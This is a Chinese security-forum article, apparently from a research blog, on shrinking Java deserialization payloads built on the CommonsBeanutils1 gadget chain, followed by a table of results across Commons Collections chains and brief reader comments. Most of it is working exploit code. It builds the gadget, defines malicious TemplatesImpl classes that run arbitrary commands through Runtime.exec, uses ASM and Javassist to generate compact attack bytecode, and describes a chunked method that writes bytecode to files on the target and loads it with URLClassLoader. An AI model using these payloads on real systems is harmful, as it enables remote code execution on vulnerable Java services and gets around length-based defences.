终极Java反序列化Payload缩小技术

4ra1n / 2022-01-18 23:21:54 / 浏览数 12282

介绍

实战中由于各种情况，可能会对反序列化 Payload 的长度有所限制，因此研究反序列化 Payload 缩小技术是有意义且必要的

本文以 CommonsBeanutils1 链为示例，重点在于三部分：

- 序列化数据本身的缩小
- 针对 TemplatesImpl 中 _bytecodes 字节码的缩小
- 对于执行的代码如何缩小（ STATIC 代码块）

接下来我将展示如何一步一步地缩小

最终效果能够将 YSOSERIAL 生成的 Payload 缩小**接近三分之二**（从**3692**长度缩小到**1296**）

YSOSERIAL

首先用 YSOSERIAL 工具直接生成 CB1 的链，看看Base64处理后的长度

```
java -jar ysoserial.jar CommonsBeanutils1 "calc.exe" > test.ser
```

生成后统计长度为：**3692**

```
byte[] data = Base64.getEncoder().encode(Files.readAllBytes(Paths.get("test.ser")));
System.out.println(new String(data).length());
```

构造Gadget

尝试不借助 YSOSERIAL 直接构造 CB1 的链

```
<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.2</version>
</dependency>
```

构造代码

```
public static byte[] getPayloadUseByteCodes(byte[] byteCodes) {
    try {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][]{byteCodes});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        return serialize(queue);
    } catch (Exception e) {
        e.printStackTrace();
    }
    return new byte[]{};
}
```

恶意类

```
public class EvilByteCodes extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {

    }
}
```

读取字节码并设置到Gadget中，序列化后统计长度：**2728**

相比`YSOSERIAL`直接生成的，缩小了**26.1%**

```
byte[] evilBytesCode = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] my = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(evilBytesCode));
System.out.println(new String(my).length());
```

其实上文中还有三处可以优化：

- 设置`_name`名称可以是一个字符
- 其中`_tfactory`属性可以删除（分析`TemplatesImpl`得出）
- 其中`EvilByteCodes`类捕获异常后无需处理

```
setFieldValue(templates, "_name", "t");
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

try {
    Runtime.getRuntime().exec("calc.exe");
} catch (Exception ignored) {
}
```

经过这三处优化后得到长度：**2608**

相比`YSOSERIAL`直接生成的，缩小了**29.3%**

从字节码层面优化

上文中的`EvilBytesCode`恶意类的字节码是可以缩减的

对字节码进行分析：`javap -c -l EvilByteCodes.class`

```
public class org.sec.payload.EvilByteCodes extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
  // transform 1
  // transform 2
  // <init>
  // <clint>
  static {};
    Code:
       0: invokestatic  #2                  // Method java/lang/Runtime.getRuntime:()Ljava/lang/Runtime;
       3: ldc           #3                  // String
       5: invokevirtual #4                  // Method java/lang/Runtime.exec:(Ljava/lang/String;)Ljava/lang/Process;
       8: pop
       9: goto          13
      12: astore_0
      13: return
    Exception table:
       from    to  target type
           0     9    12   Class java/lang/Exception
    LineNumberTable:
      line 11: 0
      line 13: 9
      line 12: 12
      line 14: 13
    LocalVariableTable:
      Start  Length  Slot  Name   Signature
}
```

可以看出，该类每个方法包含了三部分：

- 代码对应的字节码
- ExceptionTable和LocalVariableTable
- LineNumberTable

有JVM相关的知识可以得知，局部变量表和异常表是不能删除的，否则无法执行

但`LineNumberTable`是可以删除的

换句话来说：`LINENUMBER`指令可以全部删了

于是我基于ASM实现删除`LINENUMBER`

```
byte[] bytes = Files.readAllBytes(Paths.get(path));
ClassReader cr = new ClassReader(bytes);
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_FRAMES);
int api = Opcodes.ASM9;
ClassVisitor cv = new ShortClassVisitor(api, cw);
int parsingOptions = ClassReader.SKIP_DEBUG | ClassReader.SKIP_FRAMES;
cr.accept(cv, parsingOptions);
byte[] out = cw.toByteArray();
Files.write(Paths.get(path), out);
```

ShortClassVisitor

```
public class ShortClassVisitor extends ClassVisitor {
    private final int api;

    public ShortClassVisitor(int api, ClassVisitor classVisitor) {
        super(api, classVisitor);
        this.api = api;
    }

    @Override
    public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
        MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
        return new ShortMethodAdapter(this.api, mv);
    }
}
```

重点在于ShortMethodAdapter：如果遇到`LINENUMBER`指令则**阻止传递**，可以理解为返回空

```
public class ShortMethodAdapter extends MethodVisitor implements Opcodes {

    public ShortMethodAdapter(int api, MethodVisitor methodVisitor) {
        super(api, methodVisitor);
    }

    @Override
    public void visitLineNumber(int line, Label start) {
        // delete line number
    }
}
```

读取编译的字节码并处理后替换

```
Resolver.resolve("/path/to/EvilByteCodes.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("/path/to/EvilByteCodes.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
```

经过优化后得到长度：**1832**

相比`YSOSERIAL`直接生成的，缩小了**50.3%**

使用Javassist构造

以上代码虽然做到了超过百分之五十的缩小，但存在一个问题：目前的恶意类是写死的，无法动态构造

想要动态构造字节码一种手段是选择ASM做，但有更好的选择：Javassist

通过这样的一个方法，就可以根据输入命令动态构造出`Evil`类

```
private static byte[] getTemplatesImpl(String cmd) {
    try {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);

        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("        try {\n" +
                            "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                            "        } catch (Exception ignored) {\n" +
                            "        }");

        CtMethod ctMethod1 = CtMethod.make("    public void transform(" +
                                           "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                                           "com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) {\n" +
                                           "    }", ctClass);
        ctClass.addMethod(ctMethod1);

        CtMethod ctMethod2 = CtMethod.make("    public void transform(" +
                                           "com.sun.org.apache.xalan.internal.xsltc.DOM document, " +
                                           "com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, " +
                                           "com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) {\n" +
                                           "    }", ctClass);
        ctClass.addMethod(ctMethod2);

        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();

        return bytes;
    } catch (Exception e) {
        e.printStackTrace();
        return new byte[]{};
    }
}
```

将动态生成的字节码保存至当前目录，再读取加载

```
String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
```

经过优化后得到长度：**1848**

相比`YSOSERIAL`直接生成的，缩小了**49.9%**

不难发现使用Javassist生成的字节码似乎本身就不包含`LINENUMBER`指令

不过这只是猜测，当我使用上文的删除指令代码优化后，发现进一步缩小了

```
...
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
...
// 验证Payload是否有效
Payload.deserialize(Base64.getDecoder().decode(payload));
```

经过优化后得到长度：**1804**

相比 YSOSERIAL 直接生成的，缩小了**51.1%**

验证 Payload 有效可以弹出计算器

删除重写方法

可以发现 Evil 类继承自 AbstractTranslet 抽象类，所以必须重写两个 transform 方法

这样写代码会导致编译不通过，无法执行

```
public class EvilByteCodes extends AbstractTranslet {
    static {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (Exception ignored) {
        }
    }
}
```

编译不通过不代表非法，通过手段直接构造对应的字节码

（1）通过ASM删除方法

```
@Override
public MethodVisitor visitMethod(int access, String name, String descriptor, String signature, String[] exceptions) {
    if (name.equals("transform")) {
        return null;
    }
    MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
    return new ShortMethodAdapter(this.api, mv, name);
}
```

（2）通过Javassist直接构造

```
private static byte[] getTemplatesImpl(String cmd) {
    try {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.makeClass("Evil");
        CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
        ctClass.setSuperclass(superClass);
        CtConstructor constructor = ctClass.makeClassInitializer();
        constructor.setBody("        try {\n" +
                            "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                            "        } catch (Exception ignored) {\n" +
                            "        }");
        byte[] bytes = ctClass.toBytecode();
        ctClass.defrost();
        return bytes;
    } catch (Exception e) {
        e.printStackTrace();
        return new byte[]{};
    }
}
```

通过以上手段处理后进行反序列化验证：成功弹出计算器

```
String path = System.getProperty("user.dir") + File.separator + "Evil.class";
Generator.saveTemplateImpl(path, "calc.exe");
Resolver.resolve("Evil.class");
byte[] newByteCodes = Files.readAllBytes(Paths.get("Evil.class"));
byte[] payload = Base64.getEncoder().encode(CB1.getPayloadUseByteCodes(newByteCodes));
System.out.println(new String(payload).length());
Payload.deserialize(Base64.getDecoder().decode(payload));
```

最终优化后得到长度：**1332**

相比`YSOSERIAL`直接生成的，缩小了**63.9%**

并不是所有方法都能删除，比如不存在构造方法的情况下无法删除空参构造

于是有了一个新思路：删除静态代码块，将代码写入空参构造

```
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = CtNewConstructor.make("    public Evil(){\n" +
                                    "        try {\n" +
                                    "            Runtime.getRuntime().exec(\"" + cmd + "\");\n" +
                                    "        }catch (Exception ignored){}\n" +
                                    "    }", ctClass);
ctClass.addConstructor(constructor);
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
```

最终优化后得到长度：**1296**

相比`YSOSERIAL`直接生成的，缩小了**64.8%**

终极技术：分块传输

以上的内容都在围绕字节码和序列化数据的缩小，我认为已经做到的**接近极致**，很难做到更小的

对于`STATIC`代码块中需要执行的代码也有缩小手段，这也是更有实战意义是思考，因为实战中不是弹个计算器这么简单

因此可以用追加的方式发送多个请求往指定文件中写入字节码，将真正需要执行的字节码分块

使用Javassist动态生成写入每一分块的Payload，以追加的方式将所有字节码的Base64写入某文件

```
static {
    try {
        String path = "/your/path";
        // 创建文件
        File file = new File(path);
        file.createNewFile();
        // 传入true是追加方式写文件
        FileOutputStream fos = new FileOutputStream(path, true);
        // 需要写入的数据
        String data = "BASE64_BYTECODES_PART";
        fos.write(data.getBytes());
        fos.close();
    } catch (Exception ignore) {
    }
}
```

在最后一个包中将字节码进行Base64Decode并写入`class`文件

（也可以直接写字节码二进制数据，不过个人认为Base64好分割处理一些）

```
static {
    try {
        String path = "/your/path";
        FileInputStream fis = new FileInputStream(path);
        // size取决于实际情况
        byte[] data = new byte[size];
        fis.read(data);
        // 写入Evil.class
        FileOutputStream fos = new FileOutputStream("Evil.class");
        fos.write(Base64.getDecoder().decode(data));
        fos.close();
    } catch (Exception ignored) {
    }
}
```

会有师傅产生疑问：为什么要写这么多的代码而不用`java.nio.file.Files`工具类一行实现读写

其实我一开始就是使用该工具类在做，后来测试发现受用用`Stream`读写产生的`Payload`会更小

最后一个包使用`URLClassLoader`进行加载

注意一个小坑，传入`URLClassLoader`的路径要以`file://`开头且以`/`结尾否则会找不到对应的类

```
static {
    try {
        String path = "file:///your/path/";
        URL url = new URL(path);
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
        Class<?> clazz = urlClassLoader.loadClass("Evil");
        clazz.newInstance();
    } catch (Exception ignored) {
    }
}
```

代码

我对常见的反序列化链做了总结和测试，效果如下（出了个叛徒）

效果

注意：这里的长度是指反序列化 `Payload` 进行 `Base64` 编码后的长度

反序列化链	YSOSERIAL长度	缩小后长度	缩小率
CommonsBeanutils1	3692	1296	64.8%
CommonsCollections1	1868	1748	6.4%
CommonsCollections2	4176	1708	41.4%
CommonsCollections3	4784	2444	48.9%
CommonsCollections4	4720	2256	52.2%
CommonsCollections5	2772	3044	-8.9%
CommonsCollections6	1708	1560	8.6%
CommonsCollections7	1700	1636	3.7%
CommonsCollectionsK1	2464	1708	30.6%
CommonsCollectionsK2	2472	1716	30.5%
CommonsCollectionsK3	1644	1604	2.4%
CommonsCollectionsK4	1652	1612	2.4%

项目地址：https://github.com/EmYiQing/ShortPayload

上一篇： CobaltStrike逆向学习系...　下一篇： CobaltStrike逆向学习系...

4 条回复

chybeta

2022-01-18 23:27:41

可以的

0 回复Ta

LuCFa

2022-01-19 10:47:40

奈何本人无文化，一句YYDS走天下

0 回复Ta

R4ph4e1

2022-01-19 11:08:38

Template的优化方式令人赞叹

0 回复Ta

流沙安全实验室

2022-01-20 14:39:28

叹为观止

0 回复Ta

登录 后跟帖